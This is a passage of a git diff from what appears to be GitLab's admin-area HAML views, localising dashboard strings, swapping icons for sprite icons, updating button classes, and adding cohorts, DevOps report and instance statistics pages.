= render_if_exists 'admin/application_settings/elasticsearch_form'
+= render 'admin/application_settings/gitpod'
= render 'admin/application_settings/plantuml'
= render 'admin/application_settings/sourcegraph'
= render_if_exists 'admin/application_settings/slack'
diff --git a/app/views/admin/application_settings/integrations.html.haml b/app/views/admin/application_settings/integrations.html.haml
index b5dae424b46..ed4f63d0b82 100644
--- a/app/views/admin/application_settings/integrations.html.haml
+++ b/app/views/admin/application_settings/integrations.html.haml
@@ -16,5 +16,5 @@
%h4= s_('AdminSettings|Apply integration settings to all Projects')
%p
= s_('AdminSettings|Integrations configured here will automatically apply to all projects on this instance.')
- = link_to _('Learn more'), '#'
+ = link_to _('Learn more'), integrations_help_page_path, target: '_blank', rel: 'noopener noreferrer'
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/admin/application_settings/metrics_and_profiling.html.haml b/app/views/admin/application_settings/metrics_and_profiling.html.haml
index 181c54c2716..9f1b7195ab7 100644
--- a/app/views/admin/application_settings/metrics_and_profiling.html.haml
+++ b/app/views/admin/application_settings/metrics_and_profiling.html.haml
@@ -32,7 +32,7 @@
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Enable access to the Performance Bar for a given group.')
- = link_to icon('question-circle'), help_page_path('administration/monitoring/performance/performance_bar')
+ = link_to sprite_icon('question-o'), help_page_path('administration/monitoring/performance/performance_bar')
.settings-content
= render 'performance_bar'
diff --git a/app/views/admin/applications/_form.html.haml b/app/views/admin/applications/_form.html.haml
index 8338401bea5..0d01f1c57e0 100644
--- a/app/views/admin/applications/_form.html.haml
+++ b/app/views/admin/applications/_form.html.haml
@@ -16,11 +16,6 @@
= doorkeeper_errors_for application, :redirect_uri
%span.form-text.text-muted
Use one line per URI
- - if Doorkeeper.configuration.native_redirect_uri
- %span.form-text.text-muted
- Use
- %code= Doorkeeper.configuration.native_redirect_uri
- for local tests
= content_tag :div, class: 'form-group row' do
.col-sm-2.col-form-label.pt-0
diff --git a/app/views/admin/cohorts/_cohorts_table.html.haml b/app/views/admin/cohorts/_cohorts_table.html.haml
new file mode 100644
index 00000000000..bb6266b38f6
--- /dev/null
+++ b/app/views/admin/cohorts/_cohorts_table.html.haml
@@ -0,0 +1,35 @@
+- number_of_data_columns = @cohorts[:months_included] - 1
+.bs-callout.clearfix
+ %p
+ = s_("Cohorts|User cohorts are shown for the last %{months_included} months. Only users with activity are counted in the 'New users' column; inactive users are counted separately.") % { months_included: @cohorts[:months_included] }
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/analytics/user_cohorts', anchor: 'cohorts'), title: 'About this feature', target: '_blank'
+
+.table-holder.d-xl-table
+ %table.table
+ %thead
+ %tr
+ %th.border-right.pt-4{ colspan: 3 }
+ %th.font-weight-bold.pt-4{ colspan: number_of_data_columns }
+ = s_("Cohorts|Returning users")
+ %tr
+ %th.border-top-0
+ = s_("Cohorts|Registration month")
+ %th.border-top-0
+ = s_("Cohorts|Inactive users")
+ %th.border-top-0.border-right
+ = s_("Cohorts|New users")
+ - number_of_data_columns.times do |i|
+ %th.border-top-0
+ = s_("Cohorts|Month %{month_index}") % { month_index: i + 1 }
+ %tbody
+ - @cohorts[:cohorts].each do |cohort|
+ %tr
+ %td= cohort[:registration_month]
+ %td= cohort[:inactive]
+ %td.border-right= cohort[:total]
+ - cohort[:activity_months].each do |activity_month|
+ %td
+ - next if cohort[:total] == '0'
+ = activity_month[:percentage]
+ %br
+ = activity_month[:total]
diff --git a/app/views/admin/cohorts/index.html.haml b/app/views/admin/cohorts/index.html.haml
new file mode 100644
index 00000000000..03cd392d370
--- /dev/null
+++ b/app/views/admin/cohorts/index.html.haml
@@ -0,0 +1,7 @@
+- breadcrumb_title _("Cohorts")
+- page_title _("Cohorts")
+
+- if @cohorts
+ = render 'cohorts_table'
+- else
+ #js-cohorts-empty-state{ data: { empty_state_svg_path: image_path('illustrations/convdev/convdev_no_index.svg'), enable_usage_ping_link: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), docs_link: help_page_path('user/admin_area/analytics/user_cohorts') } }
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 271ab12037e..4acfc96caf2 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -7,47 +7,44 @@
dismissible: true.to_s } }
= notice[:message].html_safe
-- if show_license_breakdown?
- = render_if_exists 'admin/licenses/breakdown', license: @license
+- if @license.present? && show_license_breakdown?
+ = render_if_exists 'admin/licenses/breakdown'
.admin-dashboard.gl-mt-3
.row
.col-sm-4
- .info-well.dark-well
+ .info-well.dark-well.flex-fill
.well-segment.well-centered
= link_to admin_projects_path do
%h3.text-center
- Projects:
- = approximate_count_with_delimiters(@counts, Project)
+ = s_('AdminArea|Projects: %{number_of_projects}') % { number_of_projects: approximate_count_with_delimiters(@counts, Project) }
%hr
- = link_to('New project', new_project_path, class: "btn btn-success")
+ = link_to(s_('AdminArea|New project'), new_project_path, class: "btn btn-success gl-w-full")
.col-sm-4
.info-well.dark-well
.well-segment.well-centered
= link_to admin_users_path do
%h3.text-center
- Users:
- = approximate_count_with_delimiters(@counts, User)
+ = s_('AdminArea|Users: %{number_of_users}') % { number_of_users: approximate_count_with_delimiters(@counts, User) }
%hr
.btn-group.d-flex{ role: 'group' }
- = link_to 'New user', new_admin_user_path, class: "btn btn-success"
- = link_to s_('AdminArea|Users statistics'), admin_dashboard_stats_path, class: 'btn btn-primary'
+ = link_to s_('AdminArea|New user'), new_admin_user_path, class: "btn btn-success gl-w-full"
+ = link_to s_('AdminArea|Users statistics'), admin_dashboard_stats_path, class: 'btn btn-primary gl-w-full'
.col-sm-4
.info-well.dark-well
.well-segment.well-centered
= link_to admin_groups_path do
%h3.text-center
- Groups:
- = approximate_count_with_delimiters(@counts, Group)
+ = s_('AdminArea|Groups: %{number_of_groups}') % { number_of_groups: approximate_count_with_delimiters(@counts, Group) }
%hr
- = link_to 'New group', new_admin_group_path, class: "btn btn-success"
+ = link_to s_('AdminArea|New group'), new_admin_group_path, class: "btn btn-success gl-w-full"
.row
.col-md-4
#js-admin-statistics-container
.col-md-4
.info-well
.well-segment.admin-well.admin-well-features
- %h4 Features
+ %h4= s_('AdminArea|Features')
= feature_entry(_('Sign up'),
href: general_admin_application_settings_path(anchor: 'js-signup-settings'),
enabled: allow_signup?)
@@ -87,42 +84,41 @@
.info-well
.well-segment.admin-well
%h4
- Components
+ = s_('AdminArea|Components')
- if Gitlab::CurrentSettings.version_check_enabled
.float-right
= version_status_badge
%p
- %a{ href: general_admin_application_settings_path }
- GitLab
+ = link_to _('GitLab'), general_admin_application_settings_path
%span.float-right
= Gitlab::VERSION
= "(#{Gitlab.revision})"
%p
- GitLab Shell
+ = _('GitLab Shell')
%span.float-right
= Gitlab::Shell.version
%p
- GitLab Workhorse
+ = _('GitLab Workhorse')
%span.float-right
= gitlab_workhorse_version
%p
- GitLab API
+ = _('GitLab API')
%span.float-right
= API::API::version
- if Gitlab.config.pages.enabled
%p
- GitLab Pages
+ = _('GitLab Pages')
%span.float-right
= Gitlab::Pages::VERSION
= render_if_exists 'admin/dashboard/geo'
%p
- Ruby
+ = _('Ruby')
%span.float-right
#{RUBY_VERSION}p#{RUBY_PATCHLEVEL}
%p
- Rails
+ = _('Rails')
%span.float-right
#{Rails::VERSION::STRING}
%p
@@ -130,12 +126,12 @@
%span.float-right
= Gitlab::Database.version
%p
- = link_to "Gitaly Servers", admin_gitaly_servers_path
+ = link_to _("Gitaly Servers"), admin_gitaly_servers_path
.row
.col-md-4
.info-well
.well-segment.admin-well
- %h4 Latest projects
+ %h4= s_('AdminArea|Latest projects')
- @projects.each do |project|
%p
= link_to project.full_name, admin_project_path(project), class: 'str-truncated-60'
@@ -144,7 +140,7 @@
.col-md-4
.info-well
.well-segment.admin-well
- %h4 Latest users
+ %h4= s_('AdminArea|Latest users')
- @users.each do |user|
%p
= link_to [:admin, user], class: 'str-truncated-60' do
@@ -154,7 +150,7 @@
.col-md-4
.info-well
.well-segment.admin-well
- %h4 Latest groups
+ %h4= s_('AdminArea|Latest groups')
- @groups.each do |group|
%p
= link_to [:admin, group], class: 'str-truncated-60' do
diff --git a/app/views/admin/dev_ops_report/_callout.html.haml b/app/views/admin/dev_ops_report/_callout.html.haml
new file mode 100644
index 00000000000..7507f433af8
--- /dev/null
+++ b/app/views/admin/dev_ops_report/_callout.html.haml
@@ -0,0 +1,13 @@
+.gl-mt-3
+.user-callout{ data: { uid: 'dev_ops_report_intro_callout_dismissed' } }
+ .bordered-box.landing.content-block
+ %button.btn.btn-default.close.js-close-callout{ type: 'button',
+ 'aria-label' => _('Dismiss DevOps Report introduction') }
+ = sprite_icon('close', size: 16, css_class: 'dismiss-icon')
+ .user-callout-copy
+ %h4
+ = _('Introducing Your DevOps Report')
+ %p
+ = _('Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers.')
+ .svg-container.devops
+ = custom_icon('dev_ops_report_overview')
diff --git a/app/views/instance_statistics/dev_ops_score/_card.html.haml b/app/views/admin/dev_ops_report/_card.html.haml
index dd6e5c0f108..dd6e5c0f108 100644
--- a/app/views/instance_statistics/dev_ops_score/_card.html.haml
+++ b/app/views/admin/dev_ops_report/_card.html.haml
diff --git a/app/views/admin/dev_ops_report/_no_data.html.haml b/app/views/admin/dev_ops_report/_no_data.html.haml
new file mode 100644
index 00000000000..e540a4e2bce
--- /dev/null
+++ b/app/views/admin/dev_ops_report/_no_data.html.haml
@@ -0,0 +1,7 @@
+.container.devops-empty
+ .col-sm-12.justify-content-center.text-center
+ = custom_icon('dev_ops_report_no_data')
+ %h4= _('Data is still calculating...')
+ %p
+ = _('It may be several days before you see feature usage data.')
+ = link_to _('Our documentation includes an example DevOps Score report.'), help_page_path('user/admin_area/analytics/dev_ops_report'), target: '_blank'
diff --git a/app/views/admin/dev_ops_report/show.html.haml b/app/views/admin/dev_ops_report/show.html.haml
new file mode 100644
index 00000000000..1892557d0d6
--- /dev/null
+++ b/app/views/admin/dev_ops_report/show.html.haml
@@ -0,0 +1,33 @@
+- page_title _('DevOps Report')
+- usage_ping_enabled = Gitlab::CurrentSettings.usage_ping_enabled
+
+.container
+ - if usage_ping_enabled && show_callout?('dev_ops_report_intro_callout_dismissed')
+ = render 'callout'
+
+ .gl-mt-3
+ - if !usage_ping_enabled
+ #js-devops-empty-state{ data: { is_admin: current_user&.admin.to_s, empty_state_svg_path: image_path('illustrations/convdev/convdev_no_index.svg'), enable_usage_ping_link: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), docs_link: help_page_path('development/telemetry/usage_ping') } }
+ - elsif @metric.blank?
+ = render 'no_data'
+ - else
+ .devops
+ .devops-header
+ %h2.devops-header-title{ class: "devops-#{score_level(@metric.average_percentage_score)}-score" }
+ = number_to_percentage(@metric.average_percentage_score, precision: 1)
+ .devops-header-subtitle
+ = _('DevOps')
+ %br
+ = _('Score')
+ = link_to sprite_icon('question-o', css_class: 'devops-header-icon'), help_page_path('user/admin_area/analytics/dev_ops_report')
+
+ .devops-cards.board-card-container
+ - @metric.cards.each do |card|
+ = render 'card', card: card
+
+ .devops-steps.d-none.d-lg-block.d-xl-block
+ - @metric.idea_to_production_steps.each_with_index do |step, index|
+ .devops-step{ class: "devops-#{score_level(step.percentage_score)}-score" }
+ = custom_icon("i2p_step_#{index + 1}")
+ %h4.devops-step-title
+ = step.title
diff --git a/app/views/admin/groups/_form.html.haml b/app/views/admin/groups/_form.html.haml
index 22cf722d117..041b0661d37 100644
--- a/app/views/admin/groups/_form.html.haml
+++ b/app/views/admin/groups/_form.html.haml
@@ -24,8 +24,10 @@
- if @group.new_record?
.form-group.row
.offset-sm-2.col-sm-10
- .alert.alert-info
- = render 'shared/group_tips'
+ .gl-alert.gl-alert-info
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ = render 'shared/group_tips'
.form-actions
= f.submit _('Create group'), class: "btn btn-success"
= link_to _('Cancel'), admin_groups_path, class: "btn btn-cancel"
diff --git a/app/views/admin/groups/_group.html.haml b/app/views/admin/groups/_group.html.haml
index ab817b2ef6e..3a82f3803bd 100644
--- a/app/views/admin/groups/_group.html.haml
+++ b/app/views/admin/groups/_group.html.haml
@@ -27,7 +27,7 @@
%span.gl-ml-5
= sprite_icon('users', css_class: 'gl-vertical-align-text-bottom')
- = number_with_delimiter(group.users.count)
+ = number_with_delimiter(group.users_count)
%span.gl-ml-5.visibility-icon.has-tooltip{ data: { container: 'body', placement: 'left' }, title: visibility_icon_description(group) }
= visibility_level_icon(group.visibility_level)
diff --git a/app/views/admin/groups/show.html.haml b/app/views/admin/groups/show.html.haml
index 6dd73698848..6c2c0b3a488 100644
--- a/app/views/admin/groups/show.html.haml
+++ b/app/views/admin/groups/show.html.haml
@@ -57,7 +57,7 @@
%span.light= _('Group Git LFS status:')
%strong
= group_lfs_status(@group)
- = link_to icon('question-circle'), help_page_path('topics/git/lfs/index')
+ = link_to sprite_icon('question-o'), help_page_path('topics/git/lfs/index')
= render_if_exists 'namespaces/shared_runner_status', namespace: @group
diff --git a/app/views/admin/health_check/show.html.haml b/app/views/admin/health_check/show.html.haml
index fbe37f6c509..65d3c78ec11 100644
--- a/app/views/admin/health_check/show.html.haml
+++ b/app/views/admin/health_check/show.html.haml
@@ -27,7 +27,7 @@
.card-header
Current Status:
- if no_errors
- = icon('circle', class: 'cgreen')
+ = sprite_icon('check', css_class: 'cgreen')
#{ s_('HealthCheck|Healthy') }
- else
= icon('warning', class: 'cred')
diff --git a/app/views/admin/instance_statistics/index.html.haml b/app/views/admin/instance_statistics/index.html.haml
new file mode 100644
index 00000000000..ab28a2471e6
--- /dev/null
+++ b/app/views/admin/instance_statistics/index.html.haml
@@ -0,0 +1,4 @@
+- breadcrumb_title _("Instance Statistics")
+- page_title _("Instance Statistics")
+
+#js-instance-statistics-app
diff --git a/app/views/admin/projects/_projects.html.haml b/app/views/admin/projects/_projects.html.haml
index f842ab2d009..44317eb7f6e 100644
--- a/app/views/admin/projects/_projects.html.haml
+++ b/app/views/admin/projects/_projects.html.haml
@@ -5,10 +5,7 @@
%li.project-row{ class: ('no-description' if project.description.blank?) }
.controls
= link_to 'Edit', edit_project_path(project), id: "edit_#{dom_id(project)}", class: "btn"
- %button.delete-project-button.btn.btn-danger{ data: { toggle: 'modal',
- target: '#delete-project-modal',
- delete_project_url: admin_project_path(project),
- project_name: project.name }, type: 'button' }
+ %button.delete-project-button.btn.btn-danger{ data: { delete_project_url: admin_project_path(project), project_name: project.name } }
= s_('AdminProjects|Delete')
.stats
diff --git a/app/views/admin/projects/show.html.haml b/app/views/admin/projects/show.html.haml
index bd3b2f40059..d5af12fcd09 100644
--- a/app/views/admin/projects/show.html.haml
+++ b/app/views/admin/projects/show.html.haml
@@ -100,7 +100,7 @@
= _('Git LFS status:')
%strong
= project_lfs_status(@project)
- = link_to icon('question-circle'), help_page_path('topics/git/lfs/index')
+ = link_to sprite_icon('question-o'), help_page_path('topics/git/lfs/index')
- else
%li
%span.light
@@ -165,7 +165,7 @@
- else
= _("This repository was last checked %{last_check_timestamp}. The check passed.") % { last_check_timestamp: @project.last_repository_check_at.to_s(:medium) }
- = link_to icon('question-circle'), help_page_path('administration/repository_checks')
+ = link_to sprite_icon('question-o'), help_page_path('administration/repository_checks')
.form-group
= f.submit _('Trigger repository check'), class: 'btn btn-primary'
diff --git a/app/views/admin/runners/_runner.html.haml b/app/views/admin/runners/_runner.html.haml
index 0bbe73d6f7e..a2b736c332c 100644
--- a/app/views/admin/runners/_runner.html.haml
+++ b/app/views/admin/runners/_runner.html.haml
@@ -76,4 +76,4 @@
= sprite_icon('play')
.btn-group
= link_to [:admin, runner], method: :delete, class: 'btn btn-danger has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = icon('remove')
+ = sprite_icon('close')
diff --git a/app/views/admin/runners/index.html.haml b/app/views/admin/runners/index.html.haml
index 08d65819476..cc218aefdb7 100644
--- a/app/views/admin/runners/index.html.haml
+++ b/app/views/admin/runners/index.html.haml
@@ -108,7 +108,7 @@
{{name}}
= button_tag class: %w[clear-search hidden] do
- = icon('times')
+ = sprite_icon('close', size: 16, css_class: 'clear-search-icon')
.filter-dropdown-container
= render 'sort_dropdown'
diff --git a/app/views/admin/runners/update.js.haml b/app/views/admin/runners/update.js.haml
deleted file mode 100644
index 2b7d3067e20..00000000000
--- a/app/views/admin/runners/update.js.haml
+++ /dev/null
@@ -1,2 +0,0 @@
-:plain
- $("#runner_#{@runner.id}").replaceWith("#{escape_javascript(render(@runner))}")
diff --git a/app/views/admin/services/_form.html.haml b/app/views/admin/services/_form.html.haml
index f2153e503af..c17ab5e08a7 100644
--- a/app/views/admin/services/_form.html.haml
+++ b/app/views/admin/services/_form.html.haml
@@ -3,8 +3,5 @@
%p #{@service.description} template.
-= form_for :service, url: admin_application_settings_service_path, method: :put, html: { class: 'fieldset-form' } do |form|
+= form_for :service, url: admin_application_settings_service_path, method: :put, html: { class: 'fieldset-form js-integration-settings-form' } do |form|
= render 'shared/service_settings', form: form, integration: @service
-
- .footer-block.row-content-block
- = form.submit 'Save', class: 'btn btn-success'
diff --git a/app/views/admin/services/index.html.haml b/app/views/admin/services/index.html.haml
index 19a0b7466a2..3517beac976 100644
--- a/app/views/admin/services/index.html.haml
+++ b/app/views/admin/services/index.html.haml
@@ -1,9 +1,28 @@
- page_title _("Service Templates")
+- @content_class = 'limit-container-width' unless fluid_layout
+
+- if show_service_templates_deprecated?
+ .gl-alert.gl-alert-tip.js-service-templates-deprecated.gl-mt-5{ role: 'alert', data: { feature_id: UserCalloutsHelper::SERVICE_TEMPLATES_DEPRECATED, dismiss_endpoint: user_callouts_path } }
+ = sprite_icon('bulb', css_class: 'gl-alert-icon gl-alert-icon-no-title')
+ %button.js-close.gl-alert-dismiss{ type: 'button', aria: { label: _('Dismiss') } }
+ = sprite_icon('close')
+ %h4.gl-alert-title= s_('AdminSettings|Service Templates will soon be deprecated.')
+ .gl-alert-body
+ = s_('AdminSettings|Try using the latest version of Integrations instead.')
+ .gl-alert-actions
+ = link_to _('Go to Integrations'), integrations_admin_application_settings_path, class: 'btn btn-info gl-alert-action gl-button'
+ = link_to _('Learn more'), help_page_path('user/admin_area/settings/project_integration_management'), class: 'btn btn-default gl-alert-action btn-secondary gl-button', target: '_blank', rel: 'noopener noreferrer'
+
%h3.page-title Service templates
%p.light= s_('AdminSettings|Service template allows you to set default values for integrations')
.table-holder
%table.table
+ %colgroup
+ %col
+ %col
+ %col
+ %col{ width: 135 }
%thead
%tr
%th
diff --git a/app/views/admin/sessions/_two_factor_otp.html.haml b/app/views/admin/sessions/_two_factor_otp.html.haml
index 9d4acbf1b99..8d5588de06e 100644
--- a/app/views/admin/sessions/_two_factor_otp.html.haml
+++ b/app/views/admin/sessions/_two_factor_otp.html.haml
@@ -1,4 +1,4 @@
-= form_tag(admin_session_path, { method: :post, class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if current_user.two_factor_u2f_enabled?}" }) do
+= form_tag(admin_session_path, { method: :post, class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if current_user.two_factor_webauthn_u2f_enabled?}" }) do
.form-group
= label_tag :user_otp_attempt, _('Two-Factor Authentication code')
= text_field_tag 'user[otp_attempt]', nil, class: 'form-control', required: true, autofocus: true, autocomplete: 'off', title: _('This field is required.')
diff --git a/app/views/admin/sessions/two_factor.html.haml b/app/views/admin/sessions/two_factor.html.haml
index 746d57dbad1..531ab206157 100644
--- a/app/views/admin/sessions/two_factor.html.haml
+++ b/app/views/admin/sessions/two_factor.html.haml
@@ -11,5 +11,5 @@
.login-body
- if current_user.two_factor_otp_enabled?
= render 'admin/sessions/two_factor_otp'
- - if current_user.two_factor_u2f_enabled?
- = render 'u2f/authenticate', render_remember_me: false, target_path: admin_session_path
+ - if current_user.two_factor_webauthn_u2f_enabled?
+ = render 'authentication/authenticate', render_remember_me: false, target_path: admin_session_path
diff --git a/app/views/admin/users/_form.html.haml b/app/views/admin/users/_form.html.haml
index 38c6c8b2a62..9e31c8d2852 100644
--- a/app/views/admin/users/_form.html.haml
+++ b/app/views/admin/users/_form.html.haml
@@ -87,8 +87,8 @@
.form-actions
- if @user.new_record?
- = f.submit 'Create user', class: "btn btn-success"
+ = f.submit 'Create user', class: "btn gl-button btn-success"
= link_to 'Cancel', admin_users_path, class: "btn btn-cancel"
- else
- = f.submit 'Save changes', class: "btn btn-success"
- = link_to 'Cancel', admin_user_path(@user), class: "btn btn-cancel"
+ = f.submit 'Save changes', class: "btn gl-button btn-success"
+ = link_to 'Cancel', admin_user_path(@user), class: "btn gl-button btn-cancel"
diff --git a/app/views/admin/users/_modals.html.haml b/app/views/admin/users/_modals.html.haml
index eaec6d69f5a..6cf6dc116e3 100644
--- a/app/views/admin/users/_modals.html.haml
+++ b/app/views/admin/users/_modals.html.haml
@@ -16,7 +16,7 @@
'secondary-action': s_('AdminUsers|Block user') } }
= s_('AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests,
and groups linked to them will be transferred to a system-wide "Ghost-user". To avoid data loss,
- consider using the %{strong_start}block user%{strong_end} feature instead. Once you %{strong_start}Delete user%{strong_end},
+ consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd},
it cannot be undone or recovered.')
%div{ data: { modal: "delete-with-contributions",
diff --git a/app/views/admin/users/_user.html.haml b/app/views/admin/users/_user.html.haml
index 440eaac1917..160303890f5 100644
--- a/app/views/admin/users/_user.html.haml
+++ b/app/views/admin/users/_user.html.haml
@@ -17,9 +17,9 @@
- unless user.internal?
.table-section.section-20.table-button-footer
.table-action-buttons
- = link_to _('Edit'), edit_admin_user_path(user), id: "edit_#{dom_id(user)}", class: 'btn btn-default'
+ = link_to _('Edit'), edit_admin_user_path(user), id: "edit_#{dom_id(user)}", class: 'btn gl-button btn-default'
- unless user == current_user
- %button.dropdown-new.btn.btn-default{ type: 'button', data: { toggle: 'dropdown' } }
+ %button.dropdown-new.btn.gl-button.btn-default{ type: 'button', data: { toggle: 'dropdown' } }
= sprite_icon('settings')
= sprite_icon('chevron-down')
%ul.dropdown-menu.dropdown-menu-right
@@ -32,13 +32,13 @@
- elsif user.blocked?
= link_to _('Unblock'), unblock_admin_user_path(user), method: :put
- else
- %button.btn{ data: { 'gl-modal-action': 'block',
+ %button.btn.gl-button.btn-default-tertiary{ data: { 'gl-modal-action': 'block',
url: block_admin_user_path(user),
username: sanitize_name(user.name) } }
= s_('AdminUsers|Block')
- if user.can_be_deactivated?
%li
- %button.btn{ data: { 'gl-modal-action': 'deactivate',
+ %button.btn.gl-button.btn-default-tertiary{ data: { 'gl-modal-action': 'deactivate',
url: deactivate_admin_user_path(user),
username: sanitize_name(user.name) } }
= s_('AdminUsers|Deactivate')
@@ -52,13 +52,13 @@
%li.divider
- if user.can_be_removed?
%li
- %button.delete-user-button.btn.text-danger{ data: { 'gl-modal-action': 'delete',
+ %button.delete-user-button.btn.gl-button.btn-default-tertiary.text-danger{ data: { 'gl-modal-action': 'delete',
delete_user_url: admin_user_path(user),
block_user_url: block_admin_user_path(user),
username: sanitize_name(user.name) } }
= s_('AdminUsers|Delete user')
%li
- %button.delete-user-button.btn.text-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
+ %button.delete-user-button.btn.gl-button.btn-default-tertiary.text-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
delete_user_url: admin_user_path(user, hard_delete: true),
block_user_url: block_admin_user_path(user),
username: sanitize_name(user.name) } }
diff --git a/app/views/admin/users/index.html.haml b/app/views/admin/users/index.html.haml
index 05988c17412..118bdf7bb17 100644
--- a/app/views/admin/users/index.html.haml
+++ b/app/views/admin/users/index.html.haml
@@ -40,7 +40,7 @@
%small.badge.badge-pill= limited_counter_with_delimiter(User.without_projects)
.nav-controls
= render_if_exists 'admin/users/admin_email_users'
- = link_to s_('AdminUsers|New user'), new_admin_user_path, class: 'btn btn-success btn-search float-right'
+ = link_to s_('AdminUsers|New user'), new_admin_user_path, class: 'btn gl-button btn-success btn-search float-right'
.filtered-search-block.row-content-block.border-top-0
= form_tag admin_users_path, method: :get do
diff --git a/app/views/admin/users/new.html.haml b/app/views/admin/users/new.html.haml
index e5e6790b789..08aa7c3c9d2 100644
--- a/app/views/admin/users/new.html.haml
+++ b/app/views/admin/users/new.html.haml
@@ -1,5 +1,5 @@
- page_title _("New User")
%h3.page-title
- New user
+ = s_('AdminUsers|New user')
%hr
= render 'form'
diff --git a/app/views/admin/users/projects.html.haml b/app/views/admin/users/projects.html.haml
index f66d9b76afc..70a497f14ff 100644
--- a/app/views/admin/users/projects.html.haml
+++ b/app/views/admin/users/projects.html.haml
@@ -16,8 +16,8 @@
.float-right
%span.light.vertical-align-middle= group_member.human_access
- unless group_member.owner?
- = link_to group_group_member_path(group, group_member), data: { confirm: remove_member_message(group_member) }, method: :delete, remote: true, class: "btn-sm btn btn-remove gl-ml-3", title: 'Remove user from group' do
- %i.fa.fa-times.fa-inverse
+ = link_to group_group_member_path(group, group_member), data: { confirm: remove_member_message(group_member), testid: 'remove-user' }, method: :delete, remote: true, class: "btn btn-sm btn-danger gl-button btn-icon gl-ml-3", title: _('Remove user from group') do
+ = sprite_icon('close', size: 16, css_class: 'gl-icon')
.row
.col-md-6
@@ -46,5 +46,5 @@
%span.light.vertical-align-middle= member.human_access
- if member.respond_to? :project
- = link_to project_project_member_path(project, member), data: { confirm: remove_member_message(member) }, remote: true, method: :delete, class: "btn-sm btn btn-remove gl-ml-3", title: 'Remove user from project' do
- %i.fa.fa-times
+ = link_to project_project_member_path(project, member), data: { confirm: remove_member_message(member) }, remote: true, method: :delete, class: "btn btn-sm btn-danger gl-button btn-icon gl-ml-3", title: 'Remove user from project' do
+ = sprite_icon('close', size: 16, css_class: 'gl-icon')
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 2bc39a23b2d..a08c29714e0 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -38,19 +38,23 @@
%span.light Secondary email:
%strong
= render partial: 'shared/email_with_badge', locals: { email: email.email, verified: email.confirmed? }
- = link_to remove_email_admin_user_path(@user, email), data: { confirm: "Are you sure you want to remove #{email.email}?" }, method: :delete, class: "btn-sm btn btn-remove float-right", title: 'Remove secondary email', id: "remove_email_#{email.id}" do
- %i.fa.fa-times
+ = link_to remove_email_admin_user_path(@user, email), data: { confirm: "Are you sure you want to remove #{email.email}?" }, method: :delete, class: "btn btn-sm btn-danger gl-button btn-icon float-right", title: 'Remove secondary email', id: "remove_email_#{email.id}" do
+ = sprite_icon('close', size: 16, css_class: 'gl-icon')
%li
%span.light ID:
%strong
= @user.id
+ %li
+ %span.light= _('Namespace ID:')
+ %strong
+ = @user.namespace_id
%li.two-factor-status
%span.light Two-factor Authentication:
%strong{ class: @user.two_factor_enabled? ? 'cgreen' : 'cred' }
- if @user.two_factor_enabled?
Enabled
- = link_to 'Disable', disable_two_factor_admin_user_path(@user), data: {confirm: 'Are you sure?'}, method: :patch, class: 'btn btn-sm btn-remove float-right', title: 'Disable Two-factor Authentication'
+ = link_to 'Disable', disable_two_factor_admin_user_path(@user), data: {confirm: 'Are you sure?'}, method: :patch, class: 'btn gl-button btn-sm btn-remove float-right', title: 'Disable Two-factor Authentication'
- else
Disabled
@@ -142,7 +146,7 @@
- email = " (#{@user.unconfirmed_email})"
%p This user has an unconfirmed email address#{email}. You may force a confirmation.
%br
- = link_to 'Confirm user', confirm_admin_user_path(@user), method: :put, class: "btn btn-info", data: { confirm: 'Are you sure?', qa_selector: 'confirm_user_button' }
+ = link_to 'Confirm user', confirm_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?', qa_selector: 'confirm_user_button' }
= render 'admin/users/user_detail_note'
@@ -153,7 +157,7 @@
.card-body
= render partial: 'admin/users/user_activation_effects'
%br
- = link_to 'Activate user', activate_admin_user_path(@user), method: :put, class: "btn btn-info", data: { confirm: 'Are you sure?' }
+ = link_to 'Activate user', activate_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?' }
- elsif @user.can_be_deactivated?
.card.border-warning
.card-header.bg-warning.text-white
@@ -161,7 +165,7 @@
.card-body
= render partial: 'admin/users/user_deactivation_effects'
%br
- %button.btn.btn-warning{ data: { 'gl-modal-action': 'deactivate',
+ %button.btn.gl-button.btn-warning{ data: { 'gl-modal-action': 'deactivate',
content: 'You can always re-activate their account, their data will remain intact.',
url: deactivate_admin_user_path(@user),
username: sanitize_name(@user.name) } }
@@ -177,7 +181,7 @@
%li Log in
%li Access Git repositories
%br
- = link_to 'Unblock user', unblock_admin_user_path(@user), method: :put, class: "btn btn-info", data: { confirm: 'Are you sure?' }
+ = link_to 'Unblock user', unblock_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?' }
- else
.card.border-warning
.card-header.bg-warning.text-white
@@ -185,7 +189,7 @@
.card-body
= render partial: 'admin/users/user_block_effects'
%br
- %button.btn.btn-warning{ data: { 'gl-modal-action': 'block',
+ %button.btn.gl-button.btn-warning{ data: { 'gl-modal-action': 'block',
content: 'You can always unblock their account, their data will remain intact.',
url: block_admin_user_path(@user),
username: sanitize_name(@user.name) } }
@@ -197,7 +201,7 @@
.card-body
%p This user has been temporarily locked due to excessive number of failed logins. You may manually unlock the account.
%br
